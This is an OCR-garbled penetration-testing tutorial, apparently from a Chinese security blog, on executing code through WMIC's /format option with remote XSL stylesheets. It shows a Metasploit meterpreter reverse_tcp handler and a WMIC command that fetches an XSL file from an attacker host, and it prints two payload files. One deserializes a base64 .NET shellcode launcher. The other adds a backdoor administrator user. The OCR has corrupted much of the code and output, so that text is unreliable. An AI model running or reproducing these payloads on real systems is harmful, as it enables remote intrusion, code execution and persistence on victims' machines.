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Windows 2003 ERANE :

C\WINDOWS\system32\wbem\wmic.exe
C\WINDOWS\SysWOW64\wbem\wmic.exe

Windows 7 BRAE :

C:\Windows\System32\wbem\WMIC.exe
C:\Windows\SyswWOW64\wbem\WMIC.exe

S 0 192.168.1.4 Debian
2§ : 192.168.1.119  Windows 2003
192.168.1.5 Windows 7

BeEBGEmsS :

I msf exploit(multi/handler) > show options

2


https://micropoor.blogspot.com/

Module options (exploit/multi/handler

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
ss, none

LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed

LPORT 53 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

mst exploit (multishandler) = show options

Module options (exploitsmultishandler):

Mame Current Setting Required D

Payload options (windows/meterpreter/
Mame current Setting Required
Exit technique (2 "', seh, thread, proc nane
The listen add tan interface may be specified]
The listen port
Exploit target:
Id Mame
0 Wildcard Target
msf exploit{multishandler} = exploit

[*] Started reverse TCP handler on 192.162.1.4:53

FEANIT :



Windows 7 :

C:\Windows\SysWOW64\wbem\WMIC.exe os get
/format:"http://192.168.1.4/Micropoor.xsl”

oSy Sy LEXE 0% fTormat: "http:

i

msf exploit{multi/handler} = exploit

[*] Started rev
[#] Sending s
[#] Meterpreter = 192.168.1.5:14224) bt 2019-01-13 15:24:24 -0500

meterpreter = getuid

ryEr |  John-PCyJohn
meterpret getpid
current pid: 15544

EL
Microzoft Windows Server 2003 RZ
Enterprize x64 Edition

I[ X Service Pack 2

A

C:sDocuments and Settings“Administratornet user

ASPHET
TUAM_WINB3X64 SUPPORT _388745a@

WMIC.exe os get /format:"http://192.168.1.4/Micropoor_2003.xsl"



C:sDocuments and Settings*Adminiztratorinet user

\WINB3K64 [ F i P

Adminisztrator ASPNET
IUSR_WINA3EG64 IWAM_WINB3X64 Micropoor
SPEPOBT_3BB 45a8

FifsR :

Micropoor_Win7.xsl :

| <?xml version="1.0'?>

2 <stylesheet

3 xmlns="http://www.w3.0rg/1999/XSL/Transform” xmlns:ms="urn:schemas-mic

rosoft-com:xslt"
I xmlns:user="placeholder"

version="1.0">

(@2

6 <output method="text"/>
7 <ms:script implements-prefix="user" language="JScript">

8 <![CDATA

10 function setversion {

11}

12 function debug(s) {}

13 function base64ToStream(b) {

14 var enc = new ActiveXObject("System.Text.ASCIIEncoding"
15 var length = enc.GetByteCount_2(b

16 var ba = enc.GetBytes_4(b

17 var transform = new ActiveXObject("System.Security.Cryptography.Fromt

ase64Transform"

18 ba = transform.TransformFinalBlock(ba, ©, length

19 var ms = new ActiveXObject("System.IO.MemoryStream"
20 ms.Write(ba, © length / 4) * 3

21 ms.Position = @

22 return ms

09
23 }

25 var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACITeXNOZWOURGVsZWdt

dGVTZXIpYWxpemFOaWOuSG9sZGVy" +



26 "AWAAAAhEZWx1Z2F0ZQdoYXInZXQwB211dGhvZDADAWMWU31zdGVtLkR1bGVnYXR1U2Vy:
WFsaXph"+

27 "dGlvbkhvbGR1citEZWx1Z2F@ZUVudHI5I1IN5c3R1bS5EZWXx1Z2FOZVN1cmlhbGl6YXRpt
25Ib2xk"+

28 "ZXIvU31zdGVtL131Zmx1Y3Rpb24uTWVtYmVySW5mb1N1cmlhbGl6YXRpb25Ib2xkzXI I/
gAAAAKD" +

29 "AAAACQQAAAAEAgAAADBTeXNOZWOURGVsZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyKOR1E
GVnYXR1"+

30 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2VOEnRhcmd1ldFR5cGVBc3N1bWIseQ50)
XInZXRU" +

31 "eXBlTmFtZQptZXRob2ROYW11DWR1bGVnYXR1IRW50cnkBAQIBAQEDMFN5c3R1bS5EZWx 1z
2FOZVN1"+

32 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAALIN5c3R1bS5SdW50aW11l
131bwWoe"+

33 "aW5nLk11c3NhZ21uZy5IZWFkZXIIYW5kbGVyYyBgYAAABLbXNjb3JsaWIsIFZ1cnNpb249h
idwLjAu"+
34 "MCwgQ3VsdHVyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1INjE5MzR1MDg5E
gCcAAAAH" +

35 "dGFyZ2VOMAKGAAAABgkAAAAPU31zdGVtLkR1bGVnYXR1BgoAAAANRHIUuYW1pY@ludmOr:
QOEAWAA" +

36 "ACJTeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSGO9sZGVyAwAAAAhEZWx1Z2FOZQde\
XInZXQw" +

37 "B211dGhvZDADBWMwU31zdGVtLkR1bGVnYXR1U2VyaWFsaXphdGlvbkhvbGR1citEZWx1:
2FOZUVu"+

38 "dHI5Ai9TeXNOZWOuUmVmbGVjdGlvbi5NZW1iZXJJIbmZvU2VyaWFsaXphdGlvbkhvbGR1¢
gkLAAAA" +

39 "CQwWAAAAJDQAAAAQEAAAALIN5c3R1IbS5SZWZSsZWNOaWOuLk11bWI1ckluZm9TZXIpYWxpe
mF@alWou" +

40 "SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQ1DbGFzcO5hbWUIU21nbmFOdXI1Ck11t
WJ1clR5"+

41 "cGUQR2VUZXJIpYOFyZ3VtZW50cwEBAQEAAWENU31zdGVtL1R5cGVbXQkKAAAACQYAAAAI(
QAAAAYR" +

42 "AAAALFN5c3R1bS5PYmplY3QgRHIuYW1pY@ludm9rZShTeXNOZWOuT2IqZWNOW10pCAAA/
AOBCwWAA" +

43 "AAIAAAAGEgAAACBTeXNOZWOUWG1sLINjaGVtYS5YbWxWYWx1ZUd1dHR1cgYTAAAATVNS
3R1bS5Y"+

44 "bWwsIFZ1lcnNpb249MidwLjAuMCwgQ3VsdHVYyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1k
jliNzdh"+
45 "NWMINJES5MzR1MDg5BhQAAAAHAGFyZ2VOMAKGAAAABhYAAAAaU31zdGVtL1I1Zmx1Y3Rpt
24uQXNz"+

46 "ZW1ibHkGFwWAAAARMb2FkCg8MAAAAABQAAAINWpAAAWAAAAQAAAD/ /wAAUAAAAAAAAABA/
AAAAAAA" +

47  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADNh+6DgCOCCcOhuAFMzSFUaGlz]
HByb2dy"+

48 "YWOgY2Fubm90IGI1IHI1biBpbiBET1MgbWOkZS4NDQokAAAAAAAAAFBFAABMAQMAVC1C)
AAAAAAA" +



49 "AAAAAAACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAL
AAAAAQA" +

50 "AAAAAAAAATAAAAACAAAAAAAAAWBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAA/
AAAWCKA" +

51 "AESAAAAAQAAAQATAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAA" +

52 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAATAAAAAAAAAAAAAAATTIAAASAAAL
AAAAAAA" +

53 "AAAALNR1eHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAATAAAYCS5yc3IjAAAAL
ATAAABA" +

54 "AAAABAAAAA4AAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAWAAAAAYAAAAATAAAASAAAAL
AAAAAAA" +

55 "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAATABQBEIgAATACAAAMA/L
AAAAAAA" +

56 " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQE T oF
AAACGAA" +

57 "KAIAAAYAACOAAAAAAAAA/OiCAAAAYIn1McBkilAwilIMilIUi3IoD7dKIjH/rDxhfAIs]
MHPDQHH" +

58 "4vISVAtSEItKPItMEX]jjSAHRUYtZIAHTiOkY4zpJizSLAdYXx/6zBzw@BxzjgdfYDffg71
SRA15FiL"+

59 "WCQB@2aLDEuLWBWBO4sEiwHQiUQkJIFtbYV1aUf/gX19aixLrjV1oMzIAAGh3czJfVGhMc
yYHiej/"+
60 "@OLiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaATIAADWIS51BQUFBAUEBQaOoP3+D/1ZdqEFZX:
ImldGH/"+

61 "1YXAdAr/Tghl170hnAAAAagBqBFZXaALZyF//1YP4AH421z7qQGgAEAAAVmoAaFikU+X/ ]
ZNTagBW"+

62 "UldoAtnIX//Vg/gAfShYaABAAABgAFBoCy8PMP/VV2hlbk1lh/9VeXv8MIA+FcP///+m
b////AcMp" +

63 "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAWAABCEGAAAK(
hYGjml+"+

64 "AQAABHACAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAOMFgl+CQAAChMEFhYHE
QQWEgMo" +

65 "BAAABgwWIFSgFAAAGJisAKkogABAAAIABAAAEHOCAAgAABCpCUOpCAQABAAAAAAAMAAAAC
jQuMC4z"+

66 "MDMxOQAAAAAFAGWAAABgAgAAT34AAMWCAABKAWAATIINOCcm1uZ3MAAAAAMAYAAAGAAAA]\
VMAOAYA" +

67 "ABAAAAAJR1VIRAAAAEgGAAAGAQAAIOISsb2IAAAAAAAAAAgAAAVFVAFQIAgAAAPOIMWANW/
AABAAAA" +

68 "DwAAAAQAAAADAAAABgAAAAWAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAA!L
AEAAAAB" +

69 "AAAAAQAAAAAACgABAAAAAAAGAESARAAGAF sBPWEGAHCBPWEGAKYBhgEGAMYBhgEGAPCBF
AAGAEEC" +

70 "hgEGAFWCRAAGAJgChgEGAKcCRAAGAKOCRAAGANACRAAGAAIDAWIGABQDAWIGAE cDNWMA/
AAAAQAA" +

71 "AAAAAQABAAEAEAAhACKABQABAAEAAAAAAPWBAAAFAAMABWATAQAAZgIAACEABAAHABEA)
QASABEA"+



72 "aAASABMBhAI+AFAgAAAAATYYUgAKAAEAWCEAAAAAKQBYAA4AAQAAAAAAgACRIHBAFQABL!
AAAAACA" +

73 "AJEgjAAdAAUAAAAAATAAKSCZACgACWAXIgAAAACRGDADDgANAAAAAQCTAAAAAGCSAAAAL
wC+AAAA" +

74 "BADPAAAAAQDZAAAAAgDsAAAAAWDAAAAABAAHAQAABQANAQAABgAdAQAAAQAOAQAAAgAW/
REAUgAu" +

75 "ACEAUgA®ACKAUgAKAAKAUgAKADKAUGAKAEKAWAICAGEA1WIKAGKACENPAGEADWNYAHEAL
gBKAHKA" +

76 "UgAKACCAWWASACA4AEWBpAC4AGWBYAGMAKWASAAgABgCRAAEAVQEAAAQAWWANAWABBWB/ /
AEAAAEJ" +

77 "AIwWAAQAAAQSAmMQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAL
AABADSA" +

78  "AAAAAAQAAWAAAAABTWIOkdWx1PgB3bW1fY3NTZGxsX3BheWxvYWQuUZGxsAFByb2dyYWOAL
2h1bGxD"+

79 "b2R1TGF1bmNoZXIAbXNjb3JsaWIAU31zdGVtAE9iamVjdAAuY3RvcgBNYWLUAELIFTVODT
@INSVQA"+

80 "UEFHRVOFWEVDVVRFX1JFQURXUk1URQBWaXJOdWFsQWxsb2MAQ3J1YXR1VGhyZWFkAFdh:
XRGb3JIT"+

81 "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc216ZQBmbEFsbG9jYXRpb25UeXB1AGZsUHIv¢
GVjdABs"+
82 "cFRocmVhZEFOdHIpYnVOZXMAZHATdGFjalNpemUAbHBTdGFYydEFkZHI1c3MACGFyYWOA:
HdDcmVh"+
83 "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd@1pbGxpc2Vjb25kcwBTeXNOZWoul
2VidXJp"+
84 "dHkuUGVybWlzc21lvbnMAU2VjdXJpdH1QZXJtaXNzaW9uQXROcmlidXRIAFN1Y3VyaXR5(
WN@aWou" +

85 "AFN5c3R1bS5SdW50aW11LkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0:
WOucOF0"+

86 "dHIpYnVOZQBSdW50aW11Q29tcGFRaWIpbGloeUFOdHIpYnVOZQB3bW1fY3NFfZGxsX3Bhe
WXVYWQA" +

87 "QnlOZQA8UHIpdmFOZUltcGx1bWVudGFOaWOuRGVOYW1scz57MEQXQTVERjATRDZCNyOOF
UuzLUJIB"+

88 "QzItOTYOMUUYREJCMDNFfQBDb21lwaWxlckdlbmVyYXR1ZEFOdHIpYNnVOZQBWYWXx1ZVR5¢
GUAX19T"+

89 "dGF@aWNBcnJheUluaXRUeXB1lU216ZT@zNDEAJCRtZXRob2QweDYwMDAWMDItMQBSdW50:
W11SGVs"+

90 "cGVycwBBcnJheQBSdW50aW11Rm11bGRIYW5kbGUASW5pdGlhbG1l6ZUFycmF5AEludFBO«
gBVvCcFOF"+

91 "eHBsaWNpdABTeXNOZWOuUNnVudGltZS5IbnR1cmOwU2VydmljZXMATWFyc2hhbABDb3B5/
Fplcm8A"+

92 "RGxsSW1wb3JOQXROcmlidXR1AGtlcm51bDMyAC5jY3RvcgBTeXNOZWOuU2VjdXIpdHKA\
W52ZXIp"+

93 "ZmlhYmx1Q29kZUF@dHIpYnVeZQAAAAAAAYAAAAAAAPBAGE231uNOUsKWQeL bsDAACLA6)
FYZNOCJ "+

94 "AyAAAQMAAAECBgkHAAQICQkICQoABhgICQkYCRAIBQACCRgIBSABARENBCABAQgEEAQAA/
AMGERAH" +



95 "AAIBEikRLQQAARgKCAAEAROFCBgIAgYYCACFHQUIGAKYBCABAQ4AIAQAIAAAAAAAeAQAB!
FQCFldy"+

96 "YXBOb25FeGN1cHRpb25UaHIvd3MBgJ4uAYCEU31zdGVtLIN1Y3VyaXR5L1Blcmlpc3Npt
25zLIN1"+

97 "Y3VyaXR5UGVybW1lzc21lvbkFOdHIpYnVOZSwgbXNjb3JsaWIsIFZ1cnNpb249NC4wL jAul
CwgQ3Vs"+

98 "dHVyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1lbj1iNzdhNWM1INJjE5MzR1IMDg5FQFUAhBT:
21wVmVy "+

99 "aWZpY2F@aWIuAQAAAOgPAAAAAAAAAAAAAPAPAAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAL
ADWKQAA" +

100 "AAAAAAAAXONvVckRsbE1lhaW4AbXNjb331ZS5kbGwAAAAAAP81ACAAEAAAAAAAAAAAAAAA
AAAAAAAA" +

101 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

108 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

109 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAGAAAAAAAAAAA
AAAAAAAA" +

110 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAABOAgAAAAAAAAAAAABE
AjQAAABW" +
111 "AFMAXwBWAEUAUgBTAEKATWBOAF8ASQBOAEYATWAAAAAAVQTV/gAAAQAAAAAAAAAAAAAA
AAAAAAAA" +

112 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQBYAEYAaQBsAGUASQBuU
AGYAbwAA" +

113 "AAAAJAAEAAAAVABYAGEAbgBzAGWAYQBOAGKAbwBUAAAAAAAAALAEIAEAAAEAUWBOAHIA
aQBUAGCA"+

114 "RgBpAGWAZQBIAGAAZgBVAAAASAEAAAEAMAAWADAAMAAWADQAY gAWAAAALAACAAEAREBE
AGWAZQBE "+

115 "AGUAcwBjAHIAaQBwAHQAaQBVAGAAAAAAACAAAAAWAAEAAQBGAGKAbABLAFYAZQBYAHMA
aQBVAG4A" +

116 "AAAAADAALgAwWAC4AMAAUADAAAABQABCAAQBIAGAAdABIAHIAbgBhAGWATEBhAGOAZQAA
AHCAbQBp"+

117 "AF8AYwBzAF8AZABsAGWAXwWBWAGEAeQBsAGBAYQBkACAAZABSAGWAAAAAACEAAgABAEWA
ZQBnAGEA" +



118 "bABDAG8ACAB5AHIA2QBnAGgAdAAAACAAAABYABCAAQBPAHIAaQBnAGkAbgBhAGWAREBE
AGWAZQBuU"+

119 "AGEAbQB1AAAAdwBtAGKkAXwBjAHMAXwBKAGWAbABTAHAAYQB5AGWAbWBhAGQALgBKAGWA
bAAAAAAA™ +

120 "NAAIAAEAUABYAGBAZAB1AGMAJABWAGUAcgBzAGkAbwBUAAAAMAAUADAALgAWACAAMAAA
ADgACAAB" +

121 "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQBYyAHMAaQBVAGAAAAAWACAAMAAUADAAL gAwAAAA
AAAAAAAA" +

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

125 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

127 "AAAAAAAAAAAAAAAAAAAAAAAATAAADAAAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

128 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

129 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

130 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

131 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

132 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

133 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

134 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

135 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

136 "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAKXAAAACQYAAAAJFgAAAAYaAAAAJINS5c3R]1
bS5SZWZs"+

137 "ZWNO@aW9uLkFzc2VtYmx5IExvYWQoQnlozZVtdKQgAAAAKCWAA" ;
138 var entry_class = 'ShellCodelLauncher.Program’;

139

140 try {

141  setversion();

142 var stm = base64ToStream(serialized_obj);



143 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter
s.Binary.BinaryFormatter');

144  var al = new ActiveXObject('System.Collections.ArraylList');
145 var d = fmt.Deserialize 2(stm);
146 al.Add(undefined);

147 var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

149 } catch (e) {
150 debug(e.message);

151 }

153 11> </ms:script>

154 </stylesheet>

Micropoor_2003.xsl:

1 <?xml version='1.0"'?>
2 <stylesheet

3 xmlns="http://www.w3.0rg/1999/XSL/Transform” xmlns:ms="urn:schemas-mic
rosoft-com:xslt"

4 xmlns:user="placeholder"

5 version="1.0">

6 <output method="text"/>

7 <ms:script implements-prefix="user" language="JScript">
8 <![CDATA[

9

10 var r = new ActiveXObject("WScript.Shell").Run("net user Micropoor Mic
ropoor /add");

11
12 ]]> </ms:script>
13 </stylesheet>

e  Micropoor



